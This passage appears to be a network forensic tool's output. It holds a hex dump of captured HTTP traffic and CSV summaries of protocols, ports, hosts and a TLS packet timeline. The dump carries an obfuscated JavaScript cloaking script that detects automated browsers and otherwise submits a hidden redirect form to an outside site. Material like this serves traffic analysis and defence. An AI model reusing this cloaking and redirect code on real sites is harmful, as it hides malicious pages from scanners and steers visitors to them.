61 30 6d 28 29 3b 7d 76 61 72 20 61 30 44 3d 77 69 6e 64 6f 77 5b 27 6e 61 76 69 67 61 74 6f 72 27 5d 2c 61 30 4c 3d 7b 27 77 65 62 64 72 69 76 65 72 43 68 65 63 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 78 3d 61 30 50 3b 72 65 74 75 72 6e 27 77 65 62 64 72 69 76 65 72 27 69 6e 20 77 69 6e 64 6f 77 7c 7c 21 21 61 30 44 5b 78 28 30 78 31 37 64 29 5d 3b 7d 2c 27 75 73 65 72 41 67 65 6e 74 43 68 65 63 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 30 51 3d 7b 55 3a 30 78 31 36 35 7d 2c 72 3d 61 30 50 3b 72 65 74 75 72 6e 2f 68 65 61 64 6c 65 73 73 7c 62 79 74 65 73 70 69 64 65 72 2f 69 5b 27 74 65 73 74 27 5d 28 61 30 44 5b 72 28 61 30 51 2e 55 29 5d 29 3b 7d 2c 27 61 70 70 56 65 72 73 69 6f 6e 43 68 65 63 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 2f 68 65 61 64 6c 65 73 73 2f 69 5b 27 74 65 73 74 27 5d 28 61 30 44 5b 27 61 70 70 56 65 72 73 69 6f 6e 27 5d 29 3b 7d 2c 27 70 6c 75 67 69 6e 41 72 72 61 79 53 70 6f 6f 66 69 6e 67 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 30 63 3d 7b 55 3a 30 78 31 36 62 2c 73 3a 30 78 31 38 65 2c 6d 3a 30 78 31 36 36 7d 2c 64 3d 61 30 50 3b 6c 65 74 20 55 3d 50 6c 75 67 69 6e 41 72 72 61 79 5b 64 28 30 78 31 36 30 29 5d 3d 3d 3d 61 30 44 5b 64 28 61 30 63 2e 55 29 5d 5b 64 28 61 30 63 2e 73 29 5d 3b 69 66 28 61 30 44 5b 64 28 61 30 63 2e 55 29 5d 5b 64 28 61 30 63 2e 6d 29 5d 3e 30 78 30 29 55 26 3d 50 6c 75 67 69 6e 5b 64 28 30 78 31 36 30 29 5d 3d 3d 3d 61 30 44 5b 27 70 6c 75 67 69 6e 73 27 5d 5b 30 78 30 5d 5b 64 28 30 78 31 38 65 29 5d 3b 72 65 74 75 72 6e 21 55 3b 7d 2c 27 6d 69 6d 65 54 79 70 65 41 72 72 61 79 53 70 6f 6f 66 69 6e 67 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 30 58 3d 7b 55 3a 30 78 31 36 30 2c 73 3a 30 78 31 38 65 2c 6d 3a 30 78 31 36 30 2c 50 3a 30 78 31 36 31 7d 2c 5a 3d 61 30 50 3b 6c 65 74 20 55 3d 4d 69 6d 65 54 79 70 65 41 72 72 61 79 5b 5a 28 61 30 58 2e 55 29 5d 3d 3d 3d 61 30 44 5b 27 6d 69 6d 65 54 79 70 65 73 27 5d 5b 5a 28 61 30 58 2e 73 29 5d 3b 69 66 28 61 30 44 5b 5a 28 30 78 31 36 31 29 5d 5b 5a 28 30 78 31 36 36 29 5d 3e 30 78 30 29 55 26 3d 4d 69 6d 65 54 79 70 65 5b 5a 28 61 30 58 2e 6d 29 5d 3d 3d 3d 61 30 44 5b 5a 28 61 30 58 2e 50 29 5d 5b 30 78 30 5d 5b 5a 28 61 30 58 2e 73 29 5d 3b 72 65 74 75 72 6e 21 55 3b 7d 2c 27 6e 6f 4c 61 6e 67 75 61 67 65 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 30 47 3d 7b 55 3a 30 78 31 37 32 7d 2c 61 3d 61 30 50 3b 72 65 74 75 72 6e 21 61 30 44 5b 61 28 30 78 31 38 38 29 5d 7c 7c 61 30 44 5b 61 28 61 30 47 2e 55 29 5d 5b 61 28 30 78 31 36 36 29 5d 3d 3d 3d 30 78 30 3b 7d 2c 27 7a 65 72 6f 4f 75 74 65 72 44 69 6d 65 6e 73 69 6f 6e 73 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 48 3d 61 30 50 3b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 5b 48 28 30 78 31 37 37 29 2b 27 74 27 5d 3d 3d 3d 30 78 30 26 26 77 69 6e 64 6f 77 5b 48 28 30 78 31 39 32 29 5d 3d 3d 3d 30 78 30 3b 7d 7d 2c 61 30 76 3d 66 75 6e 63 74 69 6f 6e 28 6d 2c 50 29 7b 76 61 72 20 61 30 53 3d 7b 55 3a 30 78 31 36 33 2c 73 3a 30 78 31 37 38 2c 6d 3a 30 78 31 38 35 2c 50 3a 30 78 31 36 33 2c 44 3a 30 78 31 37 33 7d 2c 61 30 6b 3d 7b 55 3a 30 78 31 36 34 2c 73 3a 30 78 31 36 64 2c 6d 3a 30 78 31 38 39 2c 50 3a 30 78 31 37 35 7d 2c 42 3d 61 30 50 2c 44 3d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 76 3d 21 21 5b 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 59 2c 4b 29 7b 76 61 72 20 43 3d 76 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 52 3d 61 30 50 3b 69 66 28 4b 29 7b 76 61 72 20 68 3d 4b 5b 52 28 30 78 31 39 38 29 5d 28 59 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 4b 3d 6e 75 6c 6c 2c 68 3b 7d 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 72 65 74 75 72 6e 20 76 3d 21 5b 5d 2c 43 3b 7d 3b 7d 28 29 29 2c 4c 3d 44 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 67 3d 61 30 50 3b 72 65 74 75 72 6e 20 4c 5b 67 28 30 78 31 38 39 29 5d 28 29 5b 67 28 61 30 6b 2e 55 29 5d 28 67 28 61 30 6b 2e 73 29 2b 27 2b 24 27 29 5b 67 28 61 30 6b 2e 6d 29 5d 28 29 5b 67 28 61 30 6b 2e 50 29 2b 27 72 27 5d 28 4c 29 5b 67 28 30 78 31 36 34 29 5d 28 27 28 28 28 2e 2b 29 2b 29 2b 29 27 2b 27 2b 24 27 29 3b 7d 29 3b 4c 28 29 2c 77 69 6e 64 6f 77 5b 42 28 61 30 53 2e 55 29 2b 42 28 61 30 53 2e 73 29 5d 3f 77 69 6e 64 6f 77 5b 42 28 61 30 53 2e 6d 29 5d 5b 42 28 61 30 53 2e 50 29 2b 42 28 30 78 31 37 38 29 5d 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 27 2b 42 28 30 78 31 38 32 29 2c 6d 2c 50 29 3a 77 69 6e 64 6f 77 5b 42 28 61 30 53 2e 6d 29 5d 5b 42 28 30 78 31 37 31 29 2b 27 74 27 5d 28 42 28 61 30 53 2e 44 29 2b 42 28 30 78 31 36 66 29 2c 6d 29 3b 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 30 50 28 55 2c 73 29 7b 76 61 72 20 6d 3d 61 30 6d 28 29 3b 72 65 74 75 72 6e 20 61 30 50 3d 66 75 6e 63 74 69 6f 6e 28 50 2c 44 29 7b 50 3d 50 2d 30 78 31 35 64 3b 76 61 72 20 4c 3d 6d 5b 50 5d 3b 72 65 74 75 72 6e 20 4c 3b 7d 2c 61 30 50 28 55 2c 73 29 3b 7d 61 30 76 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 30 70 3d 7b 55 3a 30 78 31 38 63 2c 73 3a 30 78 31 38 62 2c 6d 3a 30 78 31 38 35 2c 50 3a 30 78 31 37 34 2c 44 3a 30 78 31 37 34 2c 4c 3a 30 78 31 36 38 2c 76 3a 30 78 31 38 61 2c 59 3a 30 78 31 35 64 2c 4b 3a 30 78 31 37 30 2c 43 3a 30 78 31 37 61 2c 68 3a 30 78 31 36 63 2c 6f 3a 30 78 31 36 37 2c 79 3a 30 78 31 37 63 2c 71 3a 30 78 31 39 36 2c 4f 3a 30 78 31 39 39 2c 41 3a 30 78 31 39 34 2c 56 3a 30 78 31 37 39 2c 54 3a 30 78 31 38 30 2c 46 3a 30 78 31 39 35 2c 74 3a 30 78 31 39 35 2c 49 3a 30 78 31 38 64 2c 7a 3a 30 78 31 35 66 7d 3b 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 45 3d 61 30 50 2c 55 3d 77 69 6e 64 6f 77 5b 27 64 6f 63 75 6d 65 6e 74 27 00 00 c0 0b 00 00 06 00 00 00 58 00 00 00 00 00 00 00 80 50 06 00 e4 e6 91 db 36 00 00 00 36 00 00 00 52 54 00 57 7f 94 52 54 00 7b b7 92 08 00 45 00 00 28 06 e1 40 00 80 06 80 1a c0 a8 7a a8 c8 3a 70 49 c3 e2 00 50 73 04 e9 3f 7d 9b 66 96 50 10 20 14 73 ef 00 00 00 00 58 00 00 00 06 00 00 00 b8 01 00 00 00 00 00 00 80 50 06 00 0b e7 91 db 96 01 00 00 96 01 00 00 52 54 00 7b b7 92 52 54 00 57 7f 94 08 00 45 00 01 88 47 ce 40 00 40 06 7d cd c8 3a 70 49 c0 a8 7a a8 00 50 c3 e2 7d 9b 66 96 73 04 e9 3f 50 18 00 52 75 4f 00 00 5d 5b 45 28 61 30 70 2e 55 29 2b 45 28 61 30 70 2e 73 29 5d 28 27 79 37 6c 69 78 71 78 37 64 36 63 64 27 29 2c 73 3d 2b 28 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 29 29 2c 6d 3d 77 69 6e 64 6f 77 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 5b 45 28 30 78 31 37 34 29 2b 27 65 6e 74 27 5d 28 45 28 30 78 31 38 33 29 29 2c 50 3d 77 69 6e 64 6f 77 5b 45 28 61 30 70 2e 6d 29 5d 5b 45 28 61 30 70 2e 50 29 2b 45 28 30 78 31 00 00 b8 01 00 00 06 00 00 00 0c 06 00 00 00 00 00 00 80 50 06 00 98 9c 93 db ea 05 00 00 ea 05 00 00 52 54 00 7b b7 92 52 54 00 57 7f 94 08 00 45 00 05 dc 47 cf 40 00 40 06 79 78 c8 3a 70 49 c0 a8 7a a8 00 50 c3 e2 7d 9b 67 f6 73 04 e9 3f 50 10 00 52 79 a3 00 00 36 38 29 5d 28 27 69 6e 70 75 74 27 29 2c 44 3d 77 69 6e 64 6f 77 5b 45 28 30 78 31 38 35 29 5d 5b 45 28 61 30 70 2e 44 29 2b 45 28 61 30 70 2e 4c 29 5d 28 27 69 6e 70 75 74 27 29 2c 4c 3d 77 69 6e 64 6f 77 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 5b 45 28 30 78 31 37 34 29 2b 45 28 61 30 70 2e 4c 29 5d 28 45 28 61 30 70 2e 76 29 29 2c 76 3d 77 69 6e 64 6f 77 5b 45 28 61 30 70 2e 6d 29 5d 5b 27 63 72 65 61 74 65 45 6c 65 6d 27 2b 45 28 30 78 31 36 38 29 5d 28 27 69 6e 70 75 74 27 29 2c 59 3d 2b 28 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 29 2c 4b 3d 27 77 73 69 64 63 68 6b 27 2c 43 3d 27 70 64 61 74 61 27 2c 68 3d 27 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 76 69 61 6e 77 61 72 65 2e 63 6f 6d 25 32 46 35 32 73 37 25 32 46 25 33 46 62 6c 4e 25 33 44 5a 32 64 39 6c 61 41 68 66 61 32 25 32 36 33 6c 50 30 25 33 44 42 71 6f 79 6c 63 64 43 6c 7a 57 52 4f 77 57 56 61 32 70 74 34 73 34 57 41 71 6f 6d 25 32 42 4d 25 32 46 54 78 49 4b 62 54 49 6a 46 48 35 38 51 4c 32 52 25 32 46 41 61 55 43 77 52 30 4e 71 77 61 52 69 66 73 7a 32 6e 56 34 48 32 63 46 75 49 42 58 63 56 44 51 53 38 47 73 67 77 64 46 6e 37 57 37 55 5a 7a 78 77 38 4b 41 78 63 6b 49 32 4a 6e 66 52 75 33 50 64 43 61 71 6f 33 74 6c 56 74 69 43 72 33 69 43 4f 6c 69 25 32 46 66 77 41 25 33 44 27 2c 6f 3d 27 2f 7a 30 66 37 36 61 31 64 31 34 66 64 32 31 61 38 66 62 35 66 64 30 64 30 33 65 30 66 64 63 33 64 33 63 65 64 61 65 35 32 66 27 2c 79 3d 27 66 61 69 6c 65 64 43 68 65 63 6b 73 27 2c 71 3d 4f 62 6a 65 63 74 5b 45 28 30 78 31 38 36 29 5d 28 61 30 4c 29 5b 45 28 61 30 70 2e 59 29 5d 28 28 5b 54 2c 46 5d 29 3d 3e 7b 74 72 79 7b 72 65 74 75 72 6e 20 46 28 29 3f 54 3a 6e 75 6c 6c 3b 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 7d 7d 29 5b 45 28 61 30 70 2e 4b 29 5d 28 54 3d 3e 54 21 3d 3d 6e 75 6c 6c 29 2c 4f 3d 71 5b 45 28 30 78 31 36 36 29 5d 3e 30 78 30 3b 69 66 28 4f 29 7b 76 61 72 20 41 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 29 3b 41 5b 45 28 61 30 70 2e 43 29 5d 28 27 69 64 27 2c 45 28 30 78 31 37 66 29 2b 45 28 61 30 70 2e 68 29 2b 45 28 30 78 31 36 65 29 2b 27 39 65 27 29 2c 41 5b 45 28 30 78 31 37 61 29 5d 28 27 74 73 27 2c 27 31 37 37 37 33 36 34 32 32 39 27 29 2c 41 5b 45 28 30 78 31 37 61 29 5d 28 4b 2c 73 2b 59 29 2c 41 5b 45 28 30 78 31 37 61 29 5d 28 43 2c 68 29 2c 71 5b 45 28 30 78 31 39 31 29 5d 28 54 3d 3e 41 5b 45 28 30 78 31 37 61 29 5d 28 79 2c 54 29 29 3b 76 61 72 20 56 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 28 29 3b 56 5b 45 28 61 30 70 2e 6f 29 5d 28 27 47 45 54 27 2c 6f 2b 27 3f 27 2b 41 5b 45 28 30 78 31 38 39 29 5d 28 29 29 2c 56 5b 45 28 61 30 70 2e 79 29 5d 28 6e 75 6c 6c 29 3b 7d 65 6c 73 65 20 6d 5b 27 69 64 27 5d 3d 27 79 37 6c 69 78 71 78 37 64 36 63 64 27 2c 6d 5b 27 73 74 79 6c 65 27 5d 3d 45 28 61 30 70 2e 71 29 2b 45 28 30 78 31 36 32 29 2c 6d 5b 27 6d 65 74 68 6f 64 27 5d 3d 45 28 61 30 70 2e 4f 29 2c 6d 5b 27 61 63 74 69 6f 6e 27 5d 3d 6f 2c 50 5b 27 69 64 27 5d 3d 27 75 69 70 67 6d 66 36 33 69 6c 6b 75 27 2c 50 5b 27 6e 61 6d 65 27 5d 3d 4b 2c 50 5b 45 28 30 78 31 39 34 29 5d 3d 73 2b 59 2c 50 5b 45 28 30 78 31 39 35 29 5d 3d 27 68 69 64 64 65 6e 27 2c 4c 5b 45 28 30 78 31 38 66 29 5d 3d 27 69 64 27 2c 4c 5b 45 28 61 30 70 2e 41 29 5d 3d 45 28 61 30 70 2e 56 29 2b 27 36 30 62 35 34 61 32 62 65 34 27 2b 45 28 30 78 31 38 34 29 2b 27 63 37 27 2c 4c 5b 45 28 30 78 31 39 35 29 5d 3d 45 28 61 30 70 2e 54 29 2c 76 5b 27 6e 61 6d 65 27 5d 3d 27 74 73 27 2c 76 5b 27 76 61 6c 75 65 27 5d 3d 27 31 37 37 37 33 36 34 32 32 39 27 2c 76 5b 45 28 61 30 70 2e 46 29 5d 3d 27 68 69 64 64 65 6e 27 2c 44 5b 27 69 64 27 5d 3d 27 76 33 77 35 33 6b 72 69 63 73 6f 38 27 2c 44 5b 45 28 30 78 31 38 66 29 5d 3d 00 00 0c 06 00 00 06 00 00 00 20 01 00 00 00 00 00 00 80 50 06 00 c4 9c 93 db fd 00 00 00 fd 00 00 00 52 54 00 7b b7 92 52 54 00 57 7f 94 08 00 45 00 00 ef 47 d0 40 00 40 06 7e 64 c8 3a 70 49 c0 a8 7a a8 00 50 c3 e2 7d 9b 6d aa 73 04 e9 3f 50 19 00 52 74 b6 00 00 43 2c 44 5b 45 28 30 78 31 39 34 29 5d 3d 68 2c 44 5b 45 28 61 30 70 2e 74 29 5d 3d 27 68 69 64 64 65 6e 27 2c 6d 5b 45 28 30 78 31 38 64 29 2b 27 64 27 5d 28 50 29 2c 6d 5b 45 28 61 30 70 2e 49 29 2b 27 64 27 5d 28 44 29 2c 6d 5b 45 28 30 78 31 38 64 29 2b 27 64 27 5d 28 4c 29 2c 6d 5b 27 61 70 70 65 6e 64 43 68 69 6c 27 2b 27 64 27 5d 28 76 29 2c 55 5b 27 61 70 70 65 6e 64 43 68 69 6c 27 2b 27 64 27 5d 28 6d 29 2c 6d 5b 45 28 61 30 70 2e 7a 29 5d 28 29 3b 7d 2c 30 78 33 65 38 29 3b 7d 2c 21 5b 5d 29 3b 0a 20 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,34,17571,100.00%,100.00%\n","network_analysis_http_graph.csv":"Timestamp,Stream ID,Source IP,Destination IP,Method,Host,URL,Referer,User-Agent\n0,2,192.168.122.168,200.58.112.73,GET,www.vianware.com,http://www.vianware.com,None,Extracted via Decryption\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n443,18,3748,26.47%,10.67%\n50146,16,13823,23.53%,39.33%\n80,16,13823,23.53%,39.33%\n49899,9,1278,13.24%,3.64%\n49892,9,2470,13.24%,7.03%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-04-28 08:15:14.412706,1,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6fd40008006e959c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....Y..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[TSHARK-OBJECT] fwA=,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46845, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59737, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 08:15:14.721698,2,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6fe40008006e958c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....X..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46846, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59736, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 08:15:15.331045,3,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6ff40008006e957c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....W..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46847, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59735, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  